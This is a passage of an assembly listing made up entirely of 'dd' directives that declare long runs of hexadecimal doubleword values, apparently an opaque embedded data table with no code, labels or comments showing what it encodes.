		dd 98A0D882h, 8D52AFE4h, 0CF00CBE2h, 2D76B6EFh,	61372CDh
		dd 440993D4h, 0DC39491Ch, 0A80780C7h, 4986171Eh, 0D42F0CAFh
		dd 1B208E63h, 0F506FA00h, 9E5B4E24h, 138B00DAh,	0FB47D6D2h
		dd 32CEDAFh, 891B1E0Eh,	0CA1AC031h, 96160085h, 29CEADCBh
		dd 6D606236h, 7AB01C21h, 36B7DB2h, 29E0BD75h, 539190D9h
		dd 6A8E063h, 0EC1123Eh,	8ECEDC61h, 0C5F8C06Eh, 0C35644B7h
		dd 50D30DB9h, 9A8219D3h, 7A323DE0h, 2054EC30h, 751893DDh
		dd 31253859h, 0EA85668Fh, 6FC13480h, 7F76CA68h,	0BCC63B00h
		dd 318329FEh, 0B20C055Ch, 4E4462FFh, 0FF9334E0h, 0E95C900h
		dd 0BF4548h, 0E3633D8Ch, 1C3A514Eh, 31526900h, 7D4828E0h
		dd 0EE81C0D2h, 320C1E8Fh, 737AF700h, 657C24B2h,	75F91802h
		dd 3BD76145h, 4F1F7D70h, 0A0C0BCEEh, 1ACED461h,	44900093h
		dd 133F0F35h, 0E35415E7h, 84546EB0h, 0F400A9A4h, 68586BA0h
		dd 26DA57DFh, 185D0F0h
		dd 62395D49h, 8A2880F7h, 4D927A45h, 739800EEh, 0D4FC4BAEh
		dd 44309F64h, 15C559E4h, 56D30060h, 8E61B754h, 0CE02E1AFh
		dd 401E97FBh, 47C480C2h, 4F09DAh, 2ADE77EAh, 417CB3E5h
		dd 0F2031404h, 2081D127h, 0A0CA441Fh, 0FFC532D4h, 0EA571C1Bh
		dd 0C090B779h, 37B3E9B7h, 7577EE00h, 52CDA23Fh,	1549294h
		dd 0BA081D74h, 0E9465AE6h, 91C980DCh, 5B3C7A70h, 8FBD288Ch
		dd 646ECC0h, 760D4CB2h,	2F0029D9h, 98567EE4h, 0BA51EBCDh
		dd 9C51FD6Eh, 44476097h, 5C88D5C4h, 1E20A062h, 2E68009Ch
		dd 760BC7D4h, 21600FE6h, 0A3F3A6D1h, 3CE80ECFh,	0C6A1CC08h
		dd 9E5D7693h, 3E404AB8h, 0B0DE86A8h, 9AD224ADh,	0E6EA417Ch
		dd 9466E082h, 0EB62771Ch, 0CCF312C0h, 60DF1A74h, 0BE612085h
		dd 181D1494h, 438050E5h, 0ADCA33AFh, 3E0C00F3h,	0D271CEC2h
		dd 9601A8BAh, 4DBD849h,	0A1874A45h, 40137E81h, 0BFAD6A63h
		dd 99F8001h, 0ABD994FBh, 3BA0C820h, 980A3DD7h, 9D848E5Dh
		dd 0C0485485h, 29D46900h, 5B3886E0h, 98729A0Ah,	1C409878h
		dd 0EF94531h, 56A2DB30h, 93BCDDC0h, 0E6244614h,	3540C079h
		dd 8EA80Eh, 19F3D0Fh, 0DED99E8Bh, 4402B6F0h, 78C6AD5Fh
		dd 73B8A0DBh, 3DBEF4DFh, 0FC802B71h, 4FC8F002h,	0D3002C5Ah
		dd 0C7631A61h, 0EAE672C0h, 4EA8A860h, 0CA2D017Eh, 75BD4D7Ah
		dd 8A19809Ah, 2910A777h, 3225004Ch, 0D4AF92ADh,	0F5607CCAh
		dd 0C5A3AAC9h, 0CFF0FA9h, 0FBE1ECBDh, 0D434A861h, 6B24E6EFh
		dd 0AC8A0CF2h, 24005463h, 0F4985259h, 9F30079h,	88933B71h
		dd 1377D943h, 24400490h, 13C9731Eh, 214F52E6h, 0B3EADED8h
		dd 97992849h, 35C119Ch,	213150C3h, 73A8DC68h, 0E92EE412h
		dd 4131AFE6h, 0E184976Eh, 8336B33Eh, 0B61EBA35h, 8679AAADh
		dd 503D91BEh, 0F9881F31h, 0F3B5C0C5h, 0F07DEAAFh, 3B21430Ch
		dd 754998h, 0B83F5A0Bh,	0DEEEC7E2h, 1FB7F600h, 0E5716B90h
		dd 7208906Fh, 0A9E06085h, 8B09D04Fh, 90AD6203h,	0D01E30AAh
		dd 7F0D9B92h, 5BA14C6Eh, 4B64AF06h, 0D41C89FEh,	2C805BDFh
		dd 32CB8B39h, 0ECF50035h, 82535701h, 9301E849h,	922A1F27h
		dd 3980F844h, 0B5061294h, 0B26F3F6h, 2600E1DCh,	64B14BECh
		dd 4A7800A6h, 0CBCD9ADFh, 0BA0FD472h, 2CE984FEh, 9197E183h
		dd 0B37E8370h, 0C900F378h, 3140C461h, 28C6B1FDh, 1472A2h
		dd 74C0CE75h, 0DE064C22h, 143AD0Ch, 0B80439F2h,	0DC0B5239h
		dd 39E97C18h, 9F025F38h, 82F494D7h, 0FA344479h,	0FE2400F7h
		dd 1027E01Eh, 0D03D8F8h, 75F65AAAh, 0AB4900DDh,	873FE066h
		dd 7C00D33Ch, 76E5CFADh, 3D481172h, 9458BFAFh, 0D58D1900h
		dd 928856CBh, 77E6BE0Ah, 0C1809828h, 0AABB13CFh, 9F021466h
		dd 3E0C8CE5h, 0D408CCF4h, 0B8D8EE2Ch, 74D6D301h, 94508163h
		dd 11E820Ah, 42BB70BAh,	3077CA3Ah, 0C4014D38h, 6C6BB9A6h
		dd 4881FC09h, 0E6EB4041h, 14883218h, 86900A44h,	0F9E479h
		dd 69F37004h, 851ED9A1h, 0AACCE900h, 3F867CABh,	0DC9606C1h
		dd 319859A2h, 2D80CB04h, 94827516h, 11802AF3h, 0CBA60154h
		dd 11DC128Dh, 19497698h, 0E700EC4Bh, 7FE665FCh,	0BA4606h
		dd 549468B6h, 5FA1E921h, 77FBE9C1h, 91E8E522h, 9CB300CBh
		dd 0E4C682BAh, 4898F57Fh, 5CCF845h, 4E0B2EC3h, 7C2648h
		dd 8DBAC95Dh, 30916F75h, 0E35EF500h, 506B5A12h,	174B4D4h
		dd 268F7EEh, 30E09016h,	1C2849BAh, 5A1E68EBh, 0CA41DB25h
		dd 4272D2CFh, 5C2DAC64h, 0D538D06Dh, 0DE7C978Ch, 0D000C7F9h
		dd 4E3DB02h, 46CE9Ah, 12150D01h, 6DF23D86h, 0C350794Ch
		dd 0C0CC8F96h, 0ED14EAh, 156B1A01h, 0D0EBEC4Eh,	1D07C800h
		dd 0FC2ABD99h, 44B0C2FFh, 3CC37A90h, 4CE463E2h,	5340B500h
		dd 0ACF3D0C4h, 0E9C700B3h, 942DC601h, 163C200Ah, 0A86F83E6h
		dd 0AAA2DF51h, 48E4A003h, 932D3C2h, 7598AA26h, 0B55BAC10h
		dd 4C785205h, 88201749h, 505A3771h, 7206076h, 52AEA9ECh
		dd 38B0D0EDh, 1FEDC44h,	0FACCD50Fh, 61B8E47Fh, 34A48C8h
		dd 6EADB207h, 0DFA89C5Fh, 1E2AE93Fh, 9FFEB0A3h,	0DCB6C4CAh
		dd 27008411h, 9AC3C672h, 6B024601h, 4943D039h, 4A644404h
		dd 323420B6h, 99001716h, 804BC4BBh, 289469F6h, 28C2D2h
		dd 6087D4A7h, 0CFCB9221h, 88E258h, 5B9497B8h, 0E2A7E41Fh
		dd 306150B2h, 5E390E25h, 3B80FD19h, 0EE7CEF66h,	0CC031C90h
		dd 7B0AF785h, 2831F676h, 8783E7h, 71CB050Dh, 434B99B3h
		dd 0D14DAB07h, 0C627F991h, 0E419A783h, 3ADAA0C8h, 2080BE40h
		dd 94649B25h, 797EA238h, 0CE43E900h, 111EAB17h,	0C9856262h
		dd 10C0D3DBh, 4B001323h, 65EB702Fh, 0A0C9D5Fh, 550185CBh
		dd 93AB01ACh, 0C256751Ch, 68F07440h, 79474B30h,	7AA8478h
		dd 1C6A6970h, 3F0F809Eh, 0DB2E1674h, 40044025h,	988044EDh
		dd 9871864Ch, 54602128h, 94800110h, 0CEF4817Ch,	9BF4E01h
		dd 0ED48127Dh, 0E60C9C32h, 0A6392264h, 90B9C905h, 64D25347h
		dd 86148163h, 6670C4F9h, 0DC70038h, 3266B2B5h, 0E6244273h
		dd 5040FC61h, 125A889Dh, 909BD227h, 7B42AF0Ch, 9F9C6F58h
		dd 0BEC6600h, 45D26Ah, 0E6EE8384h, 0D89A1CE4h, 29823C36h
		dd 7F440622h, 0E1D37A51h, 5F001CE0h, 0BDC58374h, 9F510h
		dd 7033797Fh, 13BEF26Ch, 94A97328h, 4558780Bh, 0C3DD079Bh
		dd 7A0D2410h, 618F6076h, 2ABC139Ah, 28F3A401h, 810CC7E5h
		dd 1B88060h, 88E35BE1h,	407462A0h, 48C598D8h, 806C4B48h
		dd 0A70BB967h, 3B6201D5h, 3EB96D0h, 0A9DBECD3h,	29554433h
		dd 0EA3B9037h, 79A80049h, 0CC53D719h, 3912EF28h, 3C01A51Ch
		dd 86D4D20Bh, 72E49985h, 825C8022h, 9899C3E9h, 0E4906512h
		dd 70D4440Dh, 0B32B3E3Dh, 0D03E0292h, 25F80A18h, 409AA00h
		dd 0E0BCAD33h, 0D1A12C17h, 60F160E0h, 0FC00C64Ch, 2BE0C13Bh
		dd 0BAF32ACh, 76D1D2A6h, 1DEACC18h, 2EFD2C00h, 60E751DFh
		dd 9B69C029h, 0EB4B4CADh, 9DE9F4A8h, 0C43D7D00h, 0FB6AB136h
		dd 0FF875099h, 6E5F0378h, 9C74A2E1h, 403D592Ch,	0CD19E14Eh
		dd 54700690h, 5C278B5h,	7D96CE93h, 8F7C8088h, 0CC913E07h
		dd 0F41E5D00h, 0F95CA1h, 328E296Ch, 0C2DE563Ch,	671CD971h
		dd 44C6E7BEh, 0F1F605h,	2EA48393h, 27DC0E08h, 0C6AB9A00h
		dd 0D3E3A25Ah, 494C51h,	0E618A470h, 0A4A79028h,	0C7EC0390h
		dd 0BA8E11C5h, 23CAE590h, 9A247300h, 8CBFE87Dh,	0A94C4CCDh
		dd 44FA2C09h, 64CE34E8h, 0D3E17C00h, 17F4A177h,	7C23E605h
		dd 4E320125h, 0E92BC899h, 2872C2h, 35D671EAh, 2C455697h
		dd 3094BBh, 4174CD62h, 792986E9h, 5800E4EBh, 4AFA1739h
		dd 0BD4B0378h, 4902C1CFh, 7C83A788h, 0A254D835h, 0CAC5A040h
		dd 9E530h, 4CC38B2Fh, 3E76A201h, 0FC48E601h, 0E45F302h
		dd 5393470h, 65228E6Bh,	278C40F8h, 9EEF53F9h, 937C0D3Ch
		dd 1C0105FCh, 28835039h, 0BA27DCh, 0E0B39E40h, 0BD760191h
		dd 6D6CB201h, 632CFEC2h, 0E4E7E2F2h, 25B60070h,	0DC4CEB20h
		dd 370378A1h, 7A62427Dh, 0A7E880A5h, 90A27340h,	42C0054h
		dd 3174E42Dh, 0E63DA67Dh, 9B496015h, 0B82726Bh,	677825BBh
		dd 8FC00018h, 0D6C4DB00h, 44F7B6DDh, 35D700B9h,	7CD817EEh
		dd 6491BCA6h, 0AD8280BFh, 48620772h, 0E64701B7h, 8910F537h
		dd 6559F8A3h, 9BC4144h,	0C454C6A0h, 9D21B901h, 19DBD845h
		dd 52F8710Bh, 0ACE8907Ah
		dd 0E24D4CD0h, 2A828E03h, 71009AE9h, 7B88181Bh,	37E697D0h
		dd 87D12D0Fh, 531C83D2h, 76731117h, 0A3E53020h,	34AA26F0h
		dd 0FFBC0074h, 306FB91Dh, 2DD33B00h, 42101164h,	21814AE7h
		dd 0F9DDB270h, 339470A3h, 64631828h, 0E1F8DE00h, 9A95C80Dh
		dd 49CB031Dh, 0FFCE2A4Ah, 0E8A63E98h, 45381962h, 3AC87263h
		dd 8501D95Bh, 0B4E95761h, 5A94307Ah, 44941508h,	8C078021h
		dd 0AE9F69EEh, 0C60789E0h, 0E62861E0h, 0B9D2F5F0h, 65563DA0h
		dd 1491EB00h, 4F88AAA3h, 0BFA74419h, 0B08B5450h, 6C1078E6h
		dd 35008E24h, 0C81CA0BBh, 50534Dh, 0C126DE8Ch, 15F9B9D1h
		dd 795D930Ah, 4480C0F6h, 16C05899h, 0BBE200EFh,	4F048680h
		dd 3D0985C6h, 8D4A2A35h, 0BBF05ABCh, 0FBD30019h, 0B2BAE905h
		dd 0C14825E3h, 8091005Ch, 28C94409h, 52E73047h,	0C4B49561h
		dd 1D12CA0Ah, 0A947AC76h, 0B00F20A0h, 16A33A2Bh, 596D9380h
		dd 0B7E977F3h, 826C7C58h, 0E0107F63h, 0EEFB4Ah,	7B8B423h
		dd 3664E508h, 2034F726h, 985B5807h, 0BCC444A0h,	289A32CEh
		dd 0C0812698h, 808F7CA0h, 0ACF6B391h, 0B96346A3h, 16E100B4h
		dd 7D419E22h, 2421FA09h, 27C8235h, 874B25F9h, 1D031086h
		dd 9F006462h, 54CFDF8Bh, 0B581BFh, 0FC19D501h, 0DC32693h
		dd 213DAA2Dh, 0B8C26680h, 0E0D49171h, 0CFCC00CBh, 1712DA31h
		dd 0C600A577h, 0CE7C26FFh, 2C15ABC0h, 0C98F462h, 47A18B9Bh
		dd 6B1E7503h, 249616E0h, 119483D8h, 5B971260h, 4A499488h
		dd 2084200Ah, 1F00CEC8h, 94270EC6h, 4A73A14h, 93D42A72h
		dd 0D98C87Ch, 0C3C2D800h, 3BBE659Fh, 0DAD52A82h, 0CF311E10h
		dd 0EC5E003Dh, 0D15167E2h, 0EC01682Ch, 22ACAB0Eh, 0A37FDE43h
		dd 0E079F0h, 490A4B39h,	973766AFh, 6B84E301h, 0E5C62BD6h
		dd 0E4875C28h, 24AF2016h, 0E7005542h, 0CCF80705h, 24473D74h
		dd 0E8AC34h, 0ABB0467Bh, 12648E98h, 4480D909h, 3143AA7Eh
		dd 451ECEDh, 6A43245h, 0C67A3F1Ch, 1C2F8D4h, 3DD05B93h
		dd 0E098DD61h, 8182044h, 2570FE86h, 0E67804C9h,	0C7019E5Ah
		dd 108EB648h, 3FBD5F02h, 61BECFCBh, 80142740h, 8CED5020h
		dd 0CB07ADE6h, 0CA35F07Eh, 0DB5CC660h, 1CAF0544h, 76ABACh
		dd 6FB36378h, 0B80024CBh, 0F9818C0Bh, 2EA972FAh, 4978D5D2h
		dd 0CC3E7484h, 491CD92Ch, 0CC701292h, 0FA505Eh,	1561A6EAh
		dd 77600C31h, 5BDC2500h, 50D7C6EEh, 42644AE7h, 0F778BB80h
		dd 603B420h, 0C6E0A7h, 69656208h, 1FE3BA7Fh, 58BE0C26h
		dd 44C49204h, 4900C0A2h, 17962F81h, 2A015D2Eh, 0F7CD4A6h
		dd 5C3D75F7h, 6B01193Bh, 0C9FA54FDh, 787961h, 3DC52564h
		dd 0E6F91Eh, 7ACA9793h,	6188DD0Bh, 770EB900h, 0D572716Eh
		dd 0B6670AABh, 0E7CA6D2h, 0EFC17CEDh, 3076061Fh, 0E9243280h
		dd 0CD41909Fh, 402952E6h, 94216E25h, 0F87950F6h, 0E0787C5Dh
		dd 1A0580h, 340E5AEh, 0ACCFD0Eh, 0EC3BE328h, 99F89360h
		dd 2ED4A0D3h, 177D4CB3h, 0FF14881Dh, 0D3435A00h, 0D78DF421h
		dd 3E83005Dh, 47FEAD8Fh, 0FCA06518h, 1307CCDDh,	9356CDB1h
		dd 6F847446h, 3BE0A12Eh, 3493F69h, 959F561h, 5C449BD2h
		dd 0B844E4C0h, 0DD7C2A8Bh, 5BB200E0h, 0FBA43697h, 642C8059h
		dd 6300D293h, 163C8C95h, 92082F5Ch, 60970C18h, 758F2C94h
		dd 0CA64E5A7h, 7C9484C1h, 3C30AEDDh, 44165044h,	4EC7F80Ch
		dd 3C9C4061h, 0FCC4D78Ch, 9BFC000h, 0E2709AB4h,	2B3EC42h
		dd 0E9253CDBh, 8519471h, 2B855000h, 0B291D88Dh,	9E430F7Ch
		dd 4120B827h, 71989255h, 0D2F161C1h, 9C34EFD1h,	397401ADh
		dd 0B8705DE7h, 3A20396Eh, 21BA2473h, 0FF0C6100h, 1828A392h
		dd 40E7DD7Dh, 0CC92A9BEh, 0C7BC094Ch, 6F000257h, 1860CC1h
		dd 14756205h, 0EC0F66BAh, 77ECC3Fh, 48524003h, 254377E7h
		dd 2CA06EC1h, 711D1692h, 23CA631Dh, 0CC015DC4h,	0CD9CF280h
		dd 3BE6FA12h, 0A2383E82h, 7FD2F281h, 0F45B14FBh, 625C571Ah
		dd 239E804Ch, 0FFF9E2h,	0D65FEB86h, 0E4B33882h,	2FACC800h
		dd 1471F40Eh, 1E1522E7h, 0FF018079h, 727355FDh,	0D02D3C41h
		dd 0F2EC5200h, 0E82654E9h, 0B6631A00h, 8CADB38Eh, 3C073DD8h
		dd 0EB721604h, 0C600CCE6h, 20206E5Bh, 777FE2D7h, 0FE50F47Dh
		dd 16E9F059h, 379976ACh, 7E470D4h, 0C0176D2Eh, 1C0BF07Ah
		dd 0E605F7E1h, 76DC0F2Fh, 5B4C4E80h, 95120921h,	309675A3h
		dd 0B21000C4h, 518F6834h, 6100B642h, 0CAA3A84Bh, 953B7175h
		dd 0CC461411h, 843E3698h, 31A60048h, 0A2528A5Ah, 7D5E005Ch
		dd 0D19FEC2h, 965044FDh, 8200E0ECh, 31BD15E9h, 0B47ECAh
		dd 0D1BCA53Bh, 7613A686h, 1C34E649h, 7180ACDFh,	709D9ECCh
		dd 9C8E018Dh, 793DE014h, 0E42976h, 1A1E55A0h, 3443A5F7h
		dd 0E319F404h, 78DE0824h, 93CB8EDDh, 0B65D8E0h,	6A741FC1h
		dd 3AFF0D12h, 57878837h, 9DADBB80h, 0BD760007h,	0D0A184CFh
		dd 6CB09470h, 0A91AF478h, 40C8A743h, 910FE644h,	70E83704h
		dd 0DEB0798h, 1980CB00h, 9BA7635Eh, 403D4ED4h, 0F459B8A8h
		dd 0F90709B7h, 0D17D0C7Bh, 28C4B9h, 692676CFh, 0BE5F0E5Eh
		dd 0FA88870Fh, 290180ECh, 5B752C77h, 81105E79h,	9127E24Bh
		dd 0D1B7F0AAh, 37770700h, 38408374h, 0CD170203h, 70F6244Bh
		dd 0E06290C1h, 803AB2A7h, 1FD500FBh, 0CFC6E092h, 407C5FF1h
		dd 477F8EE0h, 67008293h, 687B2759h, 246BD7B8h, 0BBB0144Ch
		dd 7591A909h, 51B87813h, 0E007B5E1h, 5511C490h,	0C7FB7870h
		dd 0A49E0301h, 0C39736D0h, 0D0E0A5D5h, 213A9142h, 116901D7h
		dd 34A5190Ah, 0B0C806EEh, 74CD7A03h, 0A07DC946h, 1237FAh
		dd 0FEBCA02Fh, 0E4517167h, 0C43E7225h, 0E8B80058h, 0B714DB0Ch
		dd 5300C680h, 2A64CB56h, 286D99Fh, 38839443h, 0D8567CF4h
		dd 65CA5980h, 9C08D1h, 3983D5Bh, 0B056A95Ah, 129574ECh
		dd 0C03D4280h, 0C9FB11DCh, 4C8E3EA0h, 72CD8F80h, 10EB3C42h
		dd 84FB73h, 98D26AF3h, 4AE291B0h, 3485600Eh, 0D5A4803Eh
		dd 9073B311h, 20675BD0h, 0D719D2E4h, 34E9B500h,	4F563FC9h
		dd 96F2031Fh, 0F01C4946h, 45722900h, 7D63D3E5h,	2123B9Ah
		dd 4050A12Ch, 22293AD5h, 44B6FC25h, 3C69000Ch, 0DBE10C8Bh
		dd 0A609C2C3h, 0F9DECh,	92253760h, 1CE71B46h, 0DC98311Ah
		dd 4C037EA6h, 0D4338E97h, 2CF802DAh, 3CEF7A0Bh,	0F380BC90h
		dd 0B3684700h, 300EF6B4h, 298EA5Ch, 34E4F75Ah, 18E1ABB9h
		dd 2C031089h, 0E8994Bh,	70A7C84Fh, 62001A5Ch, 72F94108h
		dd 1EBACCDh, 0CAECCE74h, 2975938Dh, 0CF3D00A8h,	2C9E7032h
		dd 0A2BB167Fh, 2358675Dh, 1100F77Ch, 0D8577F37h, 0ED3A2h
		dd 87CA8318h, 0FEBD5CE1h, 9382F48h, 44D20C8Fh, 669725E8h
		dd 48A9h, 0CCF7A8DDh, 0A07D1E25h, 9848137Ch, 35F4E31Ah
		dd 60370034h, 0CD2E9ED1h, 2A17801Ch, 0E820768Bh, 0F9C2C09h
		dd 878CD060h, 87ACBCE4h, 0B8E9E464h, 0C8409344h, 8CDABF98h
		dd 56EA1Dh, 40CCB33h, 63D4F82Eh, 0E351F109h, 0FF601079h
		dd 5FFA00D9h, 22E45C46h, 40EA7853h, 503C510Bh, 73AD8092h
		dd 585DB7A7h, 9024E4CCh, 0BCCA0043h, 0A69937D3h, 0DD0401F8h
		dd 137473FAh, 0E85448C7h, 27006CA2h, 9E452B89h,	300015D3h
		dd 0C6D0D74Ch, 29F0A7CBh, 0BEB8EB74h, 1A0C000h,	0CD12D6E8h
		dd 0EB917100h, 49B81023h, 28EC3D3Ch, 1B22B8DCh,	96BA40A0h
		dd 0E4202EE3h, 2F6DA9Fh
		dd 48319909h, 0ECD279FAh, 5F971901h, 0A81F74Ch,	8410A231h
		dd 86613Fh, 5FDF2809h, 0C6ED4CADh, 57AAB702h, 523E0314h
		dd 961A0094h, 0B4267248h, 80042775h, 3959E986h,	431238C0h
		dd 0D2AA0935h, 107A9BD0h, 2DE044h, 9F9EC8ABh, 0F16C1922h
		dd 219D1207h, 8F10D17Eh, 585CBACh, 6E5D522Ch, 0D8708963h
		dd 0E70064CDh, 0DC9B5017h, 3B3D23Ah, 87CE0DFBh,	62A96048h
		dd 402D3Bh, 91C5CF4Eh, 2E6A16EEh, 3436974h, 385F6268h
		dd 1544A807h, 7239E6C2h, 78B81134h, 0FAA400F8h,	0B44D7659h
		dd 0BA017243h, 53E62D18h, 0E4631825h, 0E9B82F6Ch, 0C52EBB00h
		dd 868857Dh, 0F63B1ECEh, 0CD190014h, 9C2B6B56h,	0B398E27h
		dd 7538C4DCh, 69E0005Fh, 8141AAA5h, 3B00C60Ch, 0CC08E80Ah
		dd 3CD61Dh, 0C19BF21Ch,	6BC7E930h, 5C9779C6h, 0B9DCA099h
		dd 9F910093h, 0CE14E0BCh, 777472FAh, 206CBB55h,	820A6716h
		dd 90CFCB98h, 0BF12700h, 4E130154h, 48248050h, 0FA043D4Ch
		dd 3EB94378h, 23104A0h,	448D1A0Bh, 0D5C02FA7h, 4F789151h
		dd 89420534h, 0AB8114B8h, 0E4FEFA99h, 0E80055E3h, 729D78CEh
		dd 950B49E6h, 6392EC18h, 0D382AC9Ch, 0E1EF0953h, 41C23CBDh
		dd 7BD8B0A4h, 89B23AA2h, 60C09A2Eh, 0DCCC92FCh,	17A99B00h
		dd 6EBDFD62h, 0E53E1F0Bh, 0DB1F8059h, 0D099ADB4h, 24FE373Ah
		dd 0F440787Ch, 0A5E63Fh, 6F6A2664h, 58DB91ACh, 534C3E02h
		dd 20FD4B69h, 5B2ED579h, 6C7DA300h, 6D91E0BDh, 0B71E006Ah
		dd 2B3326EBh, 492FD42Fh, 5FB09CDEh, 48CDE961h, 5772C180h
		dd 0DE8939Dh, 0F47B1Ch,	0C5A4EDEh, 0BDEDCE21h, 0F9BBF307h
		dd 3650DD15h, 11DEE3h, 0DF55BC89h, 70A166B2h, 0CB192907h
		dd 5E3E2C90h, 7DDDC880h, 0BC79DFh, 0D53F6DE7h, 475EABC7h
		dd 0DEF54613h, 528B3F00h, 6C0F819h, 4EA85C7Eh, 1800587Ah
		dd 0D9DB45C9h, 397194DAh, 0E00C0DDh, 172D09B0h,	637EF4A0h
		dd 0D7A1A918h, 0A37988h, 896B98E8h, 0A72A88C3h,	1002A504h
		dd 544081E4h, 67EBF023h, 66CB5F0Fh, 60EDE1C4h, 9A30A051h
		dd 8B714Dh, 0A95D8578h,	0BADCE35h, 5E14CF00h, 0EDEC8D54h
		dd 83670041h, 780DEF2h,	0F701FF96h, 268B8AF4h, 0D4F0F171h
		dd 7C1301D5h, 0A537ABE2h, 0E0A1873Dh, 5C90C4E6h, 1502BAAh
		dd 6EFC0A6Bh, 0D6F3BE7Bh, 3379A8A0h, 0A130B3EAh, 0C37811DCh
		dd 585B01A0h, 488CFAA7h, 57C42010h, 0E8F216FCh,	18B8D000h
		dd 0FC80CAB2h, 6B10388h, 0FBA85384h, 3A55F800h,	0F7736BFh
		dd 478A071Fh, 0E044665Fh, 0CFE7825Ch, 0CB6E990Ah, 0B2809454h
		dd 8E8737B6h, 0E8F9007Fh, 0C2ED6C4Fh, 8F0FC9E0h, 23BBE155h
		dd 8807DFFFh, 0AB2FA5h,	0DA7E56D3h, 8C6C4BCh, 76D18660h
		dd 0A141D1h, 0D7BAD5A5h, 0C3CABD3Dh, 5FC06E18h,	110271h
		dd 0A04E5BD4h, 8574D2FCh, 0BD236E01h, 26E3FAAAh, 24831880h
		dd 0F5E5FB08h, 51ECDA4Ah, 5340DE30h, 0C3E61A93h, 0BAA0E100h
		dd 0D54F6604h, 0F0900AE0h, 0BE48B825h, 0F7FEAE80h, 7C49276Bh
		dd 0AD020677h, 0A84DF056h, 6140480Dh, 44350716h, 0C5FA93E2h
		dd 0D1A440E8h, 0C4EA11BBh, 70302207h, 0ED51CA91h, 1FDC8AECh
		dd 760600E9h, 0A67D2AE0h, 0B40077AAh, 0F96A0230h, 5E4DD2h
		dd 0B87952B2h, 48700C3Eh, 6C99E4A0h, 0E06B5300h, 76D6CF19h
		dd 0B1806072h, 0BBB351Bh, 0D3A9400h, 0A95C122Bh, 2091C0E6h
		dd 0D28F15D8h, 541B5202h, 48B606F2h, 90FF031Ch,	0AD352414h
		dd 0EF4D002Fh, 0BD0CB98Ah, 33103A06h, 49E5E1h, 0CB23FDC5h
		dd 59E4632Eh, 0D050CCA9h, 9448F9ADh, 172F0090h,	0A6AB619h
		dd 6F6E18A9h, 0B8F32962h, 0F0182478h, 96B98711h, 680F071Ch
		dd 6069ACE8h, 14B35C1Ah, 0E5DBB400h, 0A7C25467h, 1C81C0E7h
		dd 1D19DF3h, 0E06A1D00h, 699C1F0h, 22C80397h, 6EF756C7h
		dd 88817FEAh, 0DC3F8374h, 0D61CFCB8h, 0DC2AA7C3h, 0A45F322Eh
		dd 56CA2704h, 9D808Ch, 493AE5B6h, 0AEAD3414h, 6C1F9B7Bh
		dd 0FE405F4Fh, 0F5E2FA7Fh, 7E66EE3Ch, 51BC12B3h, 0F84000DFh
		dd 0E6B0A7FEh, 0A33007FAh, 6B9CE0B5h, 0CC2D0774h, 801F5D67h
		dd 51201925h, 0EEB7F500h, 0F4F2F833h, 4BDF1336h, 6A982213h
		dd 0D0CC5A60h, 0EF9E770Ah, 0A007FA85h, 0CF640F3h, 3EC98C9h
		dd 35B8CB38h, 31987925h, 0A171E05Dh, 0DE0D7A03h, 0CEFA3316h
		dd 38976E1h, 905E4CFCh,	19EEA806h, 0F2FF16A0h, 0B1FAA7E6h
		dd 0A9AB5Ch, 5DBA14C1h,	0CB46EA3h, 8208C206h, 0B300F2A1h
		dd 0D7DA56E9h, 2868052Eh, 634D833h, 0D34D522h, 72A11D9h
		dd 4600884Ah, 0FA9116B6h, 98D21405h, 0E68202BAh, 60C9575Fh
		dd 0B29FDC87h, 444350E3h, 30EBE8B1h, 6A88A17Ch,	9D7205BAh
		dd 0E3806Dh, 76DCF5EFh,	349288DDh, 0CD0D9E00h, 0FC1E639h
		dd 0D1540982h, 0F091DD1Ch, 7DAAE836h, 44AB5E00h, 8FE1710Dh
		dd 0F51C0A2Ch, 134EF01h, 0C32CBE0h, 0EA58307Dh,	24164Dh
		dd 1E733364h, 0F6C827Bh, 0AD9C639Eh, 9DA0838Fh,	0F05E26CDh
		dd 482D1826h, 8743E406h, 3B6E0FEh, 9B09E627h, 690E4AA4h
		dd 0A0A7A1C9h, 1C707E11h, 0A909849h, 0F1D54053h, 5F286A0h
		dd 3C0E31BDh, 2C6EE376h, 303D160h, 0A057B1ECh, 0EFD8E95Eh
		dd 2F6F7B8h, 5F289664h,	3E01D54Fh, 70B13A6Dh, 2F0EF578h
		dd 0AA19551Ah, 86017C06h, 0D60F4CB2h, 0E7A0C0C2h, 4BB60581h
		dd 8CAD3Bh, 8ACA75D0h, 0CC910A40h, 0D8FC8900h, 0A1BD9F9h
		dd 4E139457h, 0F64F85F8h, 96F7800Bh, 0ADEC3E21h, 8233AA07h
		dd 0C401AC8Ah, 0A1C58332h, 7848848h, 0DE2FEDD9h, 0F96030B0h
		dd 0A3008AF3h, 3718E1C0h, 4BA0DCCh, 8CF359Eh, 73E8275h
		dd 8C028464h, 1AD5273Bh, 0A7E0DDDCh, 11480366h,	0E0D41148h
		dd 316F081Bh, 0A97F98A8h, 72A32600h, 7EFFA076h,	0E8300C2h
		dd 0B1E789C6h, 0D57CAEACh, 80FCA74Ch, 0D446B642h, 216500B0h
		dd 236F3B17h, 0CBE81C76h, 0E1B85355h, 1B71BC5Fh, 12D4566Eh
		dd 2005F510h, 480FDF4h,	0DABD6B00h, 9FC413B0h, 0DC6906CCh
		dd 41EFA703h, 8C85B503h, 82EB0A3Ch, 5F888007h, 701CC015h
		dd 29E16F33h, 0A8A1C341h, 7A1183ECh, 0E02E81C6h, 120F3FB3h
		dd 20DD62AEh, 0C69F2564h, 3532D700h, 2B9BB9C5h,	78D3003Eh
		dd 77E8BDDh, 39000298h,	741BD811h, 2C620Fh, 0F0F60612h
		dd 9FEA735h, 2BE16601h,	13962556h, 5F031032h, 869ACAAFh
		dd 1C83F29Bh, 0A1F081A8h, 1D0E74B9h, 56D54021h,	176E12D7h
		dd 2BE4287h, 6BDA4614h,	17D5C048h, 1BFA1101h, 19ACAF23h
		dd 0B015B3F0h, 7AEE0ECDh, 606C2B9h, 0E600797Bh,	775F790Dh
		dd 1E97ECCCh, 711450h, 3411858Fh, 0B83854AAh, 370B81CFh
		dd 58C46EABh, 12F5D850h, 10B540A8h, 0FC9CA23Dh,	80C4BB3Fh
		dd 0BED98B23h, 1CB22A76h, 35372F8h, 67981EC3h, 93E88CDCh
		dd 8184A900h, 70E18CCDh, 94770009h, 0F2DBF5FCh,	4E005255h
		dd 867AB98Bh, 90303DD0h, 2533F070h, 4103BAFh, 5E00884Ah
		dd 100C1742h, 317E5AF8h, 19A14F75h, 97E448E4h, 0EF0DAD00h
